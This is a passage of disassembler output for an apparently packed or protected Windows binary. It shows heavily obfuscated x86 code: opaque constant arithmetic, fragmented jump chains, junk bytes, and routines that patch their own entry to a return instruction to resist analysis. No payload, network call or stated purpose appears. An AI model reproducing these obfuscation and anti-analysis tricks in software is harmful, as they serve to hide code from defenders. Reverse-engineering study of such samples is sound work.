; END OF FUNCTION CHUNK	FOR sub_447ED1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443DF0

loc_445267:				; CODE XREF: sub_443DF0:loc_441AF6j
		mov	[ebp+var_4], eax
		call	sub_4494B1

loc_44526F:				; CODE XREF: kgbikm34:004407A2j
		jz	loc_447247
		jmp	loc_4457D1
; END OF FUNCTION CHUNK	FOR sub_443DF0

; =============== S U B	R O U T	I N E =======================================



sub_44527A	proc near		; DATA XREF: sub_43E4C0:loc_43B9FCo

; FUNCTION CHUNK AT 00438920 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044331B SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0044A955 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044CFFE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044DE9B SIZE 0000001D BYTES

		push	ebx
		pop	ebp
		xchg	ecx, [esp+0]
		mov	ebx, ecx
		pop	ecx
		push	58DE56C7h
		jmp	loc_44DE9B
sub_44527A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449405

loc_44528C:				; CODE XREF: sub_449405+Ej
		call	sub_43B469
		push	0F618B7F6h
		xchg	ebx, [esp+0]
		mov	eax, ebx
		pop	ebx
		xor	eax, 753B7470h
		or	eax, 974879ABh
		xor	eax, 597F1450h
		jmp	loc_43D051
; END OF FUNCTION CHUNK	FOR sub_449405
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444C12

loc_4452B3:				; CODE XREF: sub_444C12+99Bj
		push	edx
		call	sub_43D409
		mov	eax, 6E103E68h
		call	sub_43BF6F
		mov	ds:off_41E098, eax
		call	sub_44D803

loc_4452CE:				; CODE XREF: sub_4474D5+5189j
		jmp	loc_4457AB
; END OF FUNCTION CHUNK	FOR sub_444C12
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440834

loc_4452D3:				; CODE XREF: sub_440834-2FB4j
		jmp	loc_4390E5
; END OF FUNCTION CHUNK	FOR sub_440834
; ---------------------------------------------------------------------------
		and	esi, ebx
		jmp	sub_440104
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4407E7

loc_4452DF:				; CODE XREF: sub_4407E7:loc_43B615j
		shl	edx, 18h

loc_4452E2:				; CODE XREF: sub_4407E7:loc_44A2F0j
		push	0A63C60C1h
		pop	eax
		xor	eax, 73AA7009h
		or	eax, 3C05A1DBh
		add	eax, 0D2234D0Dh
		add	eax, ebp

loc_4452FC:				; CODE XREF: kgbikm34:004386E2j
		add	eax, 30450114h
		jmp	loc_44C726
; END OF FUNCTION CHUNK	FOR sub_4407E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442551

loc_445307:				; CODE XREF: sub_442551:loc_44B1A6j
		xchg	edi, [esp+4+var_4]
		mov	ebp, esp
		push	edi
		mov	edi, ecx
		xchg	edi, [esp+8+var_8]
		jmp	loc_44924B
; END OF FUNCTION CHUNK	FOR sub_442551

; =============== S U B	R O U T	I N E =======================================



sub_445317	proc near		; CODE XREF: sub_441DDE+13j
					; kgbikm34:loc_442460j	...

; FUNCTION CHUNK AT 0043DC75 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00440BCF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00441B99 SIZE 00000005 BYTES

		xchg	edi, [esp+0]

loc_44531A:				; CODE XREF: kgbikm34:loc_43BB6Ej
		mov	edx, edi
		pop	edi
		jnb	loc_440BCF
		mov	eax, [esp+0]
		jmp	loc_43DC75
sub_445317	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_327. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443681

loc_44532C:				; CODE XREF: sub_443681-8709j
		rol	ecx, 1
		cmp	ecx, 0AA2225D3h
		jmp	loc_445A7B
; END OF FUNCTION CHUNK	FOR sub_443681
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440E0B

loc_445339:				; CODE XREF: sub_440E0B+9E45j
		add	edx, esi
		jno	locret_443948
		jmp	loc_43D3AC
; END OF FUNCTION CHUNK	FOR sub_440E0B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4446A9

loc_445346:				; CODE XREF: sub_4446A9-5C5Cj
		add	eax, ebp
		add	eax, 9885354Eh
		mov	eax, [eax]
		popf
		movzx	eax, word ptr [eax+14h]
		add	eax, [ebp-4]
		jmp	loc_438A3B
; END OF FUNCTION CHUNK	FOR sub_4446A9

; =============== S U B	R O U T	I N E =======================================



sub_44535D	proc near		; DATA XREF: kgbikm34:0044E0DDo
		movzx	edx, byte ptr [edx]
		or	eax, edx
		mov	[ebp-1Ch], eax
		inc	dword ptr [ebp-20h]
		mov	eax, [ebp-1Ch]
		jmp	loc_4496B2
sub_44535D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4471D6

loc_445370:				; CODE XREF: sub_4471D6:loc_4446C8j
		cmp	dword ptr [ebp-1Ch], 0Fh
		jnz	loc_4496C1
		mov	eax, [ebp-1Ch]
		jmp	loc_441A94
; END OF FUNCTION CHUNK	FOR sub_4471D6

; =============== S U B	R O U T	I N E =======================================



sub_445382	proc near		; CODE XREF: sub_439BDE+10385j
		push	ebx
		push	76673390h
		pop	ebx
		rol	ebx, 0Bh
		add	ebx, 0C6A55D59h
		mov	[ebx], eax
		pop	ebx
		lea	eax, nullsub_14
		jmp	loc_439D46
sub_445382	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442401

loc_4453A0:				; CODE XREF: sub_442401:loc_446D17j
		jz	loc_43E0B2
; END OF FUNCTION CHUNK	FOR sub_442401
; START	OF FUNCTION CHUNK FOR sub_439609

loc_4453A6:				; CODE XREF: sub_439609-11BCj
		jmp	loc_447C7F
; END OF FUNCTION CHUNK	FOR sub_439609
; ---------------------------------------------------------------------------
		db 0Fh
; ---------------------------------------------------------------------------
		mov	al, [ebx+ebx-15F50000h]
		jmp	loc_43E0AA
; ---------------------------------------------------------------------------

loc_4453B8:				; CODE XREF: kgbikm34:loc_43F8FAj
		call	sub_445D55
		mov	eax, 0CEEC89B4h
		push	offset sub_44C473
		jmp	loc_43E5C9
; ---------------------------------------------------------------------------
		xor	esi, 6D50D086h
		jmp	sub_442DF5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440F62

loc_4453D7:				; CODE XREF: sub_440F62:loc_43E2C1j
		and	edx, 292EECA7h
		or	edx, 2AB28C49h
		add	edx, 0D58D344Fh
		mov	edx, [edx]
		or	edx, edx
		jnz	loc_4400AA
		jmp	loc_449A98
; END OF FUNCTION CHUNK	FOR sub_440F62
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449D59

loc_4453F9:				; CODE XREF: sub_449D59-43Fj
		jmp	loc_44613D
; END OF FUNCTION CHUNK	FOR sub_449D59
; ---------------------------------------------------------------------------
		push	edx
		mov	edx, ebp
		xchg	edx, [esp]
		mov	ebp, esp
		push	esi
		mov	esi, ecx
		xchg	esi, [esp]
		jmp	loc_44B94A
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_170. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EFE3

loc_445412:				; CODE XREF: sub_43EFE3:loc_437937j
		push	offset loc_449D4A
		jmp	loc_445C3D
; END OF FUNCTION CHUNK	FOR sub_43EFE3
; ---------------------------------------------------------------------------

loc_44541C:				; CODE XREF: kgbikm34:loc_43ED61j
		jz	loc_43F2F4
		jmp	loc_4413B3
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_101. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_445428:				; CODE XREF: kgbikm34:00447A27j
		jmp	loc_446E74
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_303. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_44542E:				; CODE XREF: kgbikm34:004459BAj
		jmp	nullsub_369
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4474D5

loc_445433:				; CODE XREF: sub_4474D5-815Ej
		jmp	loc_442944
; END OF FUNCTION CHUNK	FOR sub_4474D5
; ---------------------------------------------------------------------------

loc_445438:				; CODE XREF: kgbikm34:0043DB47j
		jmp	loc_449468
; ---------------------------------------------------------------------------
		and	eax, esi
		jmp	sub_44C6F1
; ---------------------------------------------------------------------------
		dd 0D923F513h, 0ACB6840Fh, 0E903FFFFh, 0FFE1E3E9h
; ---------------------------------------------------------------------------

loc_445454:				; DATA XREF: sub_449794-4B27o
		push	esi
		sub	bh, [esp]
		jz	loc_44D6A2
		jmp	loc_43F1EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43741E

loc_445464:				; CODE XREF: sub_43741E+B8A2j
		cmp	eax, 785C729Ah
		jmp	loc_44A2C8
; END OF FUNCTION CHUNK	FOR sub_43741E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DD64

loc_44546F:				; CODE XREF: sub_43DD64+9E95j
		adc	edi, 0C92CE739h
		add	ecx, esi
		push	90A8CBC8h
		xor	edx, esi
		jmp	loc_4416EE
; END OF FUNCTION CHUNK	FOR sub_43DD64
; ---------------------------------------------------------------------------
		mov	eax, 0F38AA262h
		call	sub_43D298

loc_44548D:				; CODE XREF: kgbikm34:0044BD8Dj
		jmp	loc_43CFF6
; ---------------------------------------------------------------------------

loc_445492:				; CODE XREF: kgbikm34:0044B3CFj
		jnz	loc_444986
		cmp	ebx, ebp
		jmp	loc_44497D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446F79

loc_44549F:				; CODE XREF: sub_446F79+5592j
		test	edx, eax
		jmp	loc_439E14
; END OF FUNCTION CHUNK	FOR sub_446F79
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DC9A

loc_4454A6:				; CODE XREF: sub_43DC9A:loc_43C4B8j
					; sub_43DC9A-17D3j
		rol	ebx, 14h
		jb	loc_44183C
; END OF FUNCTION CHUNK	FOR sub_43DC9A
; START	OF FUNCTION CHUNK FOR sub_44273E

loc_4454AF:				; CODE XREF: sub_44273E+6761j
		jmp	loc_440047
; END OF FUNCTION CHUNK	FOR sub_44273E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4474D5

loc_4454B4:				; CODE XREF: sub_4474D5-9790j
		jmp	loc_44916B
; END OF FUNCTION CHUNK	FOR sub_4474D5
; ---------------------------------------------------------------------------
		add	esi, 0E287A1Fh
		push	7CE8D22Eh
		cdq
		xchg	ebp, [ebx]
		jmp	loc_44183A
; ---------------------------------------------------------------------------

locret_4454CC:				; CODE XREF: kgbikm34:0044348Aj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AD10

loc_4454CD:				; CODE XREF: sub_44AD10-F666j
		lea	eax, sub_44AD10
		mov	byte ptr [eax],	0C3h
		jmp	loc_43FD15
; ---------------------------------------------------------------------------

loc_4454DB:				; CODE XREF: sub_44AD10+6j
		mov	eax, [esp+0]
		call	sub_4425CD
; END OF FUNCTION CHUNK	FOR sub_44AD10
; START	OF FUNCTION CHUNK FOR sub_44649E

loc_4454E3:				; CODE XREF: sub_44649E-3EF3j
		jmp	loc_447E3C
; END OF FUNCTION CHUNK	FOR sub_44649E

; =============== S U B	R O U T	I N E =======================================



sub_4454E8	proc near		; CODE XREF: kgbikm34:0043B708j
					; kgbikm34:0044807Bp
		xchg	esi, [esp+0]
		pop	esi
		add	eax, ebp
		add	eax, 2BA37CD6h
		jmp	loc_446C69
sub_4454E8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4494B1

loc_4454F9:				; CODE XREF: sub_4494B1-11CF4j
		popf
		shr	edx, 0Fh
		jmp	loc_44DCA2
; END OF FUNCTION CHUNK	FOR sub_4494B1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F461

loc_445502:				; CODE XREF: sub_43F461+13j
		call	sub_440F62
		mov	ds:off_41E20C, eax
		lea	eax, loc_448F07
		call	sub_43F234
; END OF FUNCTION CHUNK	FOR sub_43F461
; START	OF FUNCTION CHUNK FOR sub_4425CD

loc_445518:				; CODE XREF: sub_4425CD+Fj
		jmp	nullsub_71
; END OF FUNCTION CHUNK	FOR sub_4425CD
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_23. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_44551E:				; CODE XREF: kgbikm34:00442EA0j
		shr	eax, 1
		jmp	loc_43A35D
; ---------------------------------------------------------------------------
		sub	edx, 0D9E025DFh

loc_44552B:				; CODE XREF: kgbikm34:loc_43A04Cj
		add	eax, 0FE56BDDAh
		cmp	eax, 0F5B87806h
		jmp	loc_43EB95

; =============== S U B	R O U T	I N E =======================================



sub_44553C	proc near		; CODE XREF: sub_442B5D:loc_447898p
					; kgbikm34:0044C0E6j
		xchg	eax, [esp+0]
		pop	eax
		sub	eax, 72EC62B1h
		xor	eax, 0E73C171Ah
		rol	eax, 0Dh
		jmp	sub_44055B
sub_44553C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		sub	eax, ebp
		jmp	sub_43A5F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444240

loc_44555B:				; CODE XREF: sub_444240:loc_43B0F5j
		pop	esi
		or	esi, 52283FFFh
		add	esi, 8B29C85h
		sub	esi, 4167D9E3h
		rol	esi, 19h

loc_445571:				; CODE XREF: kgbikm34:004418FFj
		add	esi, 0BDCF5693h
		jmp	loc_442B94
; END OF FUNCTION CHUNK	FOR sub_444240
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439274

loc_44557C:				; CODE XREF: sub_439274:loc_44A6EFj
		add	eax, 0B494F04Dh
		add	eax, ebp
		add	eax, 6CB0311Fh
		mov	eax, [eax]
		popf
		mov	[ebp-18h], eax
		jmp	loc_44A6EA
; END OF FUNCTION CHUNK	FOR sub_439274
; ---------------------------------------------------------------------------

loc_445595:				; CODE XREF: kgbikm34:loc_43BD16j
		pop	ebx
		lea	eax, sub_444C12
		mov	byte ptr [eax],	0C3h

loc_44559F:				; CODE XREF: kgbikm34:loc_4425B0j
		jmp	sub_444C12
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444C12

loc_4455A4:				; CODE XREF: sub_444C12j
		xchg	ebp, [esp+0]
		push	ebp
		pop	edx
		pop	ebp
		mov	eax, [esp-4+arg_0]
		jmp	loc_4452B3
; END OF FUNCTION CHUNK	FOR sub_444C12

; =============== S U B	R O U T	I N E =======================================



sub_4455B2	proc near		; CODE XREF: kgbikm34:0043850Fp
					; kgbikm34:0044AF58j

; FUNCTION CHUNK AT 0044D5EA SIZE 00000016 BYTES

		xchg	esi, [esp+0]
		pop	esi
		push	0C1BC2094h
		pop	eax
		jmp	loc_44D5EA
sub_4455B2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_4455C1:				; CODE XREF: kgbikm34:0043A314j
		xor	esi, edi

; =============== S U B	R O U T	I N E =======================================



sub_4455C3	proc near		; CODE XREF: sub_445F1B-C26Ep

; FUNCTION CHUNK AT 00441697 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0044B27D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044BC02 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044C4CD SIZE 00000018 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		push	ebx
		push	edx
		pop	ebx
		jmp	loc_44B27D
sub_4455C3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FF32

loc_4455CF:				; CODE XREF: sub_43FF32-712Ej
		jl	loc_4432AD
		mov	ecx, [edx]
		jmp	loc_43AA6F
; END OF FUNCTION CHUNK	FOR sub_43FF32
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439609

loc_4455DC:				; CODE XREF: sub_439609+4260j
		mov	ebx, edx
		jmp	loc_44567F
; END OF FUNCTION CHUNK	FOR sub_439609
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449F77

loc_4455E3:				; CODE XREF: sub_449F77:loc_44A6FFj
		push	0D63B9CB8h
		pop	edi
		sub	edi, 4ECC425Ah
		or	edi, 0AA51E72h
		add	edi, 70528332h
		jmp	loc_43F10C
; END OF FUNCTION CHUNK	FOR sub_449F77
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443643

loc_445600:				; CODE XREF: sub_443643+6j
		xchg	edi, [esp+0]
		push	edi
		push	881B196Ch
		pop	edi
		jmp	loc_445EAD
; END OF FUNCTION CHUNK	FOR sub_443643
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4421A1

loc_44560F:				; CODE XREF: sub_4421A1:loc_4412E0j
					; kgbikm34:0044AF0Fj
		xor	eax, 6CD5F0F9h
		mov	ds:dword_44D9C0, eax

loc_44561B:				; CODE XREF: sub_4474D5:loc_442944j
					; sub_4478CD+13F2j
		xor	eax, 6CD5F0F9h
		call	sub_43CFC1

loc_445626:				; CODE XREF: sub_443622+84D2j
		jmp	loc_43AB34
; END OF FUNCTION CHUNK	FOR sub_4421A1
; ---------------------------------------------------------------------------

loc_44562B:				; CODE XREF: kgbikm34:004435EDj
		jmp	loc_43CB4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4437D8

loc_445630:				; CODE XREF: sub_4437D8-3587j
		jmp	loc_4459A0
; END OF FUNCTION CHUNK	FOR sub_4437D8
; ---------------------------------------------------------------------------
		push	edx
		push	2EB788E1h
		xchg	esi, [esp]
		mov	edx, esi
		jmp	loc_43CBC3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447B4A

loc_445645:				; CODE XREF: sub_447B4A:loc_43C196j
		call	sub_43C7C6
		retn
; END OF FUNCTION CHUNK	FOR sub_447B4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437A6A

loc_44564B:				; CODE XREF: sub_437A6A+13F81j
		jmp	loc_445D20
; END OF FUNCTION CHUNK	FOR sub_437A6A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B34A

loc_445650:				; CODE XREF: sub_44B34A+10j
		jmp	loc_43866C
; END OF FUNCTION CHUNK	FOR sub_44B34A
; ---------------------------------------------------------------------------

loc_445655:				; CODE XREF: kgbikm34:0043C306j
		jmp	loc_44691C
; ---------------------------------------------------------------------------
		dw 0BC77h
dword_44565C	dd 0			; DATA XREF: sub_444A23+Dw

; =============== S U B	R O U T	I N E =======================================



sub_445660	proc near		; CODE XREF: sub_401000+335p
					; sub_401000+3B7p ...

; FUNCTION CHUNK AT 0044B5F7 SIZE 00000005 BYTES

		push	offset sub_44A1A6
		jmp	loc_44B5F7
sub_445660	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440F78

loc_44566A:				; CODE XREF: sub_440F78:loc_437A1Dj
		call	sub_43AC6D
; END OF FUNCTION CHUNK	FOR sub_440F78
; START	OF FUNCTION CHUNK FOR sub_439B82

loc_44566F:				; CODE XREF: sub_439B82+9j
		jmp	loc_43F1F6
; END OF FUNCTION CHUNK	FOR sub_439B82
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4474D5

loc_445674:				; CODE XREF: sub_4474D5:loc_448091j
		jz	loc_444FEA
		jmp	loc_44053F
; END OF FUNCTION CHUNK	FOR sub_4474D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439609

loc_44567F:				; CODE XREF: sub_439609+BFD5j
		ja	loc_446E89
		push	4855D317h
		cmp	edx, 0BB2E0291h
		jmp	loc_442BF0
; END OF FUNCTION CHUNK	FOR sub_439609
; ---------------------------------------------------------------------------

loc_445695:				; CODE XREF: kgbikm34:0043882Ej
		sbb	edi, edx
; START	OF FUNCTION CHUNK FOR sub_43DFE5

loc_445697:				; CODE XREF: sub_43DFE5+F19Dj
		add	ebx, 0BF6CD1C0h

loc_44569D:				; CODE XREF: kgbikm34:00442509j
		xchg	ebx, [esp+8+var_8]
		jmp	loc_449E81
; END OF FUNCTION CHUNK	FOR sub_43DFE5
; ---------------------------------------------------------------------------
		db 0B8h, 91h, 44h
		dd 6850147Ah, 0C28404FAh, 0A6E9C38Bh
		db 0B8h, 2 dup(0FFh)

; =============== S U B	R O U T	I N E =======================================



sub_4456B7	proc near		; CODE XREF: kgbikm34:0043A3CBj
					; sub_44A356-2065p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00438A19 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043B422 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00442FBB SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00444B2B SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0044D61B SIZE 0000000D BYTES

		xchg	edx, [esp+0]
		pop	edx
		mov	ebp, edx
		xchg	ebp, [esp+0]
		jmp	loc_438A19
sub_4456B7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442DF5

loc_4456C5:				; CODE XREF: sub_442DF5+Ej
		mov	edx, [ebp-14h]
		mov	[eax], edx
; END OF FUNCTION CHUNK	FOR sub_442DF5
; START	OF FUNCTION CHUNK FOR sub_44649E

loc_4456CA:				; CODE XREF: sub_44649E+8j
		jz	loc_4491AD
		mov	eax, [ebp-24h]
		test	byte ptr [eax+1], 80h
		jnz	loc_44259F
		jmp	loc_44AD0A
; END OF FUNCTION CHUNK	FOR sub_44649E
; ---------------------------------------------------------------------------
		add	edi, ecx
		jmp	sub_44C41B
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_145. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4481BC

loc_4456EA:				; CODE XREF: sub_4481BC-7148j
		jmp	sub_43BF6F
; END OF FUNCTION CHUNK	FOR sub_4481BC
; ---------------------------------------------------------------------------

loc_4456EF:				; CODE XREF: kgbikm34:loc_444E6Aj
		call	sub_443DFF
; START	OF FUNCTION CHUNK FOR sub_448CA3

loc_4456F4:				; CODE XREF: sub_448CA3+7j
		jmp	loc_446F9C
; END OF FUNCTION CHUNK	FOR sub_448CA3
; ---------------------------------------------------------------------------

loc_4456F9:				; CODE XREF: kgbikm34:loc_43A51Bj
		call	sub_440F62

loc_4456FE:				; CODE XREF: kgbikm34:0044BE49j
		push	edi
		call	sub_44B714
; START	OF FUNCTION CHUNK FOR sub_43DFA4

loc_445704:				; CODE XREF: sub_43DFA4+7DD9j
		jge	loc_43CB82

loc_44570A:				; CODE XREF: sub_43DFA4:loc_43A027j
					; sub_444C7D:loc_43BF19j
		call	sub_44ADC2
; END OF FUNCTION CHUNK	FOR sub_43DFA4
; START	OF FUNCTION CHUNK FOR sub_437A6A

loc_44570F:				; CODE XREF: sub_437A6A+11B9j
		jmp	sub_4400C7
; END OF FUNCTION CHUNK	FOR sub_437A6A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444D26

loc_445714:				; CODE XREF: sub_444D26:loc_443F3Dj
		jz	loc_443941
		jmp	loc_44C496
; END OF FUNCTION CHUNK	FOR sub_444D26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439BDE

loc_44571F:				; CODE XREF: sub_439BDE+EC89j
		jb	loc_43F25B

loc_445725:				; CODE XREF: sub_439BDE:loc_443664j
		mov	eax, [esp+0]
		push	edx
		mov	edx, eax
		xchg	edx, [esp+4+var_4]
		call	sub_43E4C0
		jmp	loc_43CBBE
; END OF FUNCTION CHUNK	FOR sub_439BDE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AD9F

loc_445738:				; CODE XREF: sub_43AD9F:loc_43B909j
		rol	eax, 1Dh
		push	edi
		push	0BC3927A9h
		pop	edi
		and	edi, 0ED564528h
		jmp	loc_447330
; END OF FUNCTION CHUNK	FOR sub_43AD9F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C167

loc_44574D:				; CODE XREF: sub_43C167+D3A8j
		rol	ebp, 8
		jmp	loc_444D88
; END OF FUNCTION CHUNK	FOR sub_43C167
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444051

loc_445755:				; CODE XREF: sub_444051+Aj
		mov	eax, [esp+0]

loc_445758:				; CODE XREF: kgbikm34:loc_441951j
		push	edi
		mov	edi, edx
		xchg	edi, [esp-4+arg_0]
		call	sub_43EB8F
		push	886570CAh
		pop	eax
		jmp	loc_44B41B
; END OF FUNCTION CHUNK	FOR sub_444051
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4474D5

loc_44576E:				; CODE XREF: sub_4474D5+5839j
		jz	loc_44374A
		jmp	loc_43FB98
; END OF FUNCTION CHUNK	FOR sub_4474D5

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_445779	proc near		; CODE XREF: sub_44441C:loc_44442Ej

var_8		= dword	ptr -8
var_1		= byte ptr -1

; FUNCTION CHUNK AT 0043ABDE SIZE 00000016 BYTES
; FUNCTION CHUNK AT 004446E6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448694 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		mov	[ebp+var_1], al
		jmp	loc_4446E6
sub_445779	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DFE5

loc_445787:				; CODE XREF: sub_43DFE5:loc_448A15j
		xchg	edi, [esp+8+var_8]
		mov	ebp, eax
		xchg	ebp, [esp+8+var_8]
		push	8DE24D25h
		jmp	loc_44BCF9
; END OF FUNCTION CHUNK	FOR sub_43DFE5
; ---------------------------------------------------------------------------

loc_445799:				; DATA XREF: sub_4400C7o
		jb	loc_4447A5
		push	8E980D51h
		xor	edx, ecx
		jmp	loc_448763
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444C12

loc_4457AB:				; CODE XREF: sub_43ACD5:loc_43E7C6j
					; sub_444C12:loc_4452CEj
		mov	eax, [ebp-4]
		push	offset loc_4440D8
		jmp	loc_44D5BA
; END OF FUNCTION CHUNK	FOR sub_444C12
; ---------------------------------------------------------------------------
		jmp	loc_44D907
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4457BE	proc near		; CODE XREF: sub_4471A4-574Bj

; FUNCTION CHUNK AT 004419FD SIZE 00000005 BYTES

		push	ebx
		mov	ebx, ebp
		push	offset sub_43D164
		jmp	loc_4419FD
sub_4457BE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4457CB	proc near		; CODE XREF: sub_449CB4:loc_43C460j
		retn
sub_4457CB	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437A59

loc_4457CC:				; CODE XREF: sub_437A59+F37Fj
		jmp	loc_44C586
; END OF FUNCTION CHUNK	FOR sub_437A59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443DF0

loc_4457D1:				; CODE XREF: sub_443DF0+1485j
		jmp	loc_43BCCC
; END OF FUNCTION CHUNK	FOR sub_443DF0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4403A3

loc_4457D6:				; CODE XREF: sub_4403A3+11j
		pop	ebx
		mov	[ebp-10h], eax
		mov	eax, [ebp-10h]
		call	sub_43A374

loc_4457E2:				; CODE XREF: kgbikm34:0044A761j
		jmp	sub_443DF0
; END OF FUNCTION CHUNK	FOR sub_4403A3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443DF0

loc_4457E7:				; CODE XREF: sub_443DF0-AA48j
		jmp	loc_43AB15
; END OF FUNCTION CHUNK	FOR sub_443DF0
; ---------------------------------------------------------------------------

loc_4457EC:				; CODE XREF: kgbikm34:0044A347j
		push	edx
		push	esi
		push	0ABCE7620h
		call	sub_444A81
; START	OF FUNCTION CHUNK FOR sub_43B5BA

loc_4457F8:				; CODE XREF: sub_43FA71:loc_440D57j
					; sub_43B5BA+12A76j
		jmp	nullsub_235
; END OF FUNCTION CHUNK	FOR sub_43B5BA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F524

loc_4457FD:				; CODE XREF: sub_43F524-5A31j
		jmp	loc_43F602
; END OF FUNCTION CHUNK	FOR sub_43F524
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440841

loc_445802:				; CODE XREF: sub_440841-32D1j
		test	ecx, 40h
		jmp	loc_447F76
; END OF FUNCTION CHUNK	FOR sub_440841
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4407FD

loc_44580D:				; CODE XREF: sub_4407FD+BEEFj
		or	ecx, edi

loc_44580F:				; CODE XREF: sub_4407FD:loc_44D53Aj
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_43C87D
		jmp	loc_44B574
; END OF FUNCTION CHUNK	FOR sub_4407FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C638

loc_445820:				; CODE XREF: sub_43C638+3CBCj
		call	sub_43E4C0
